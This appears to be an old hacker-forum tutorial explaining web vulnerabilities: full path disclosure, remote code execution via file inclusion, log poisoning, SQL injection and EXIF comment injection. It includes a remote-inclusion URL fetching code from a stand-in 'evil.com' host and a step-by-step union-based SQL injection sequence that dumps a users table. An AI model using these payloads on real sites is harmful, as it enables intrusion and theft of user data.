Common Internet Exploits/Vulnerabilities 2 - written by Crash Overron

.:::.Contents.:::.
0. Introduction
1. Full Path Disclosure
2. RCE
3. Log Posioning
4. SQL Injection
5. EXIF
6. Conclusion

0. Introduction
Hello once again from Crash Overron, hopefully this article will be better than the other one :- seeings how i got a good bit of flame about it everywhere i looked. Anyways I will be covering RCE in this one since i skipped it in the last and also going over SQL injections again and covering it myself instead of referring to another person's material. Also note that there are other ways of performing these vulnerabilities, these are just examples trying to demonstrate how they can be used or exploited.

1. Full Path Disclosure
Full Path Disclosure by itself is not very powerful, but is very effective when trying to find out more information about the target server while performing other hacks, such as LFI (refer to prior article). Basically, a full path disclosure is displaying to the attacker the exact location of the current file, which in turn could be used to better navigate through the site or server. If an example site, vulnerable to this, had a link such as http://www.site.com/index.php?page=home and we changed
index.php?page=home to index.php?page=asdf hopefully there will not be a file named "asdf" in the current directory which will display an error such as

CODE :


now that we have this message we know exactly how many directories we are from the root directory and could possibly have a better feel for how the server is setup.

2. RCE
RCE stands for Remote Code Execution, which is a type of RFI mixed with a type of advanced XSS :-P. To perform RCE attacks you need to use PHP function such as passthru() or eval() (these are the only two i know of please someone say if you know of others). passthru() executes external code and displays the output; eval() simply takes in a statement or string and executes it as PHP code.

example:
CODE :

http://www.target.com/index.php?page=http://www.evil.com/code.txt?cmd=ls

3. Log Poisoning
Log Poisoning is, in a way, like RCE since you execute your own code. Log poisoning consists of a site that is vulnerable to LFI that also records visitors information such as user agent and IP. Typically when a site logs a visitors information they keep it in fairly obvious places such as /logs/. Once such a site is located an attacker checks to see what information is logged then begins to take action. If a visitors user agent is indeed logged then the attacker could possibly change their user agent to PHP code on the about:config page in Mozilla FireFox or a program/plug-in previously downloaded. Once the attacker has input their code into the useragent then they just visit the site again so the new information is now logged. Once the log has been updated the attacker must navigate the LFI vulnerable page to the log file so that it will be included into the page then executed. A simple thing an attacker can do with this for example is make their own RFI vulnerability which then leads to even more things to do.

4. SQL Injection
SQL is used for databases such as users or products and typically holds all the information about each entity such as username, password, email, product name, cost, id number, etc. Usually an easy way to check if a site uses SQL is if they have things such as http://target.com/index.php?id=1 or something similar to that in their url so to check just add something like http://target.com/index.php?id=1' and 1=0-- this is just making the statement always return false which as long as the page is using SQL will not output correctly. Once the attacker has reached a page that is vulnerable they can then check to see how many columns the current table actually has. This is done by doing something like http://target.com/index.php?id=1 order by x-- where x represents a number being increased until you receive an error, the number before your error is the number of columns in the current table. Once the attacker knows the amount of columns they can check to see how the information is printed on the screen; for example if our current table has 4 columns we could do something such as http://target.com/index.php?id=-1 union all select 1,2,3,4-- we use the -1 so no actual user or product information is printed with our check, the union all select is an SQL statement that combines the output of two separate tables. The attacker must know the amount of columns because to combine the output of two seperate tables the output
has to be the same(shown later). Once we know the output format we can execute other things such as output from other tables. Sites often use names for user tables such as "users" or something similar surprisingly, if this is the case and the second and third columns are displayed we could do something such as http://target.com/index.php?id=-1 union all select null, *, null from users-- notice the nulls
in columns one and four; this is because of what i said earlier about the matching amount of columns (assuming the users table only contains two columns which would then give a total of four columns in our new statement) the asterisks (*) is to include everything from the table. So the previous example statement will include everything in the users table with everything in the current table being used on the index.php page with the id of -1 which hopefully will not have any data. An easy way to get an idea of how many columns the user table has; just simply look at a registration form or possibly a users profile and count the number of areas on that page this will typically give you a decent idea.

5. EXIF
The EXIF vulnerability is yet another inclusion exploit. Again, for the EXIF vulnerability the victim site needs to have a page vulnerable to LFI but also needs an area that allows the attacker to upload images such as a forum or user avatars. In order to exploit this vulnerability the attacker needs to insert code in a misc image using a program such as jpegcommenter then simply save and upload the new image
to the vulnerable site and view where the image is saved. Once the url to the image is known the attacker can then continue with the LFI attack, and include the image file which will then execute the malicious code within the image comment.

6. Conclusion
Well I hope you enjoyed this article and were able to learn something or further your knowledge on one of the subjects explained. Hopefully this article was written better than the last if not then I'm sorry and deal with it :-P At the moment I can think of a couple of other vulnerabilities
that have not been included in this article and I do not feel the need to include so there may be another article soon.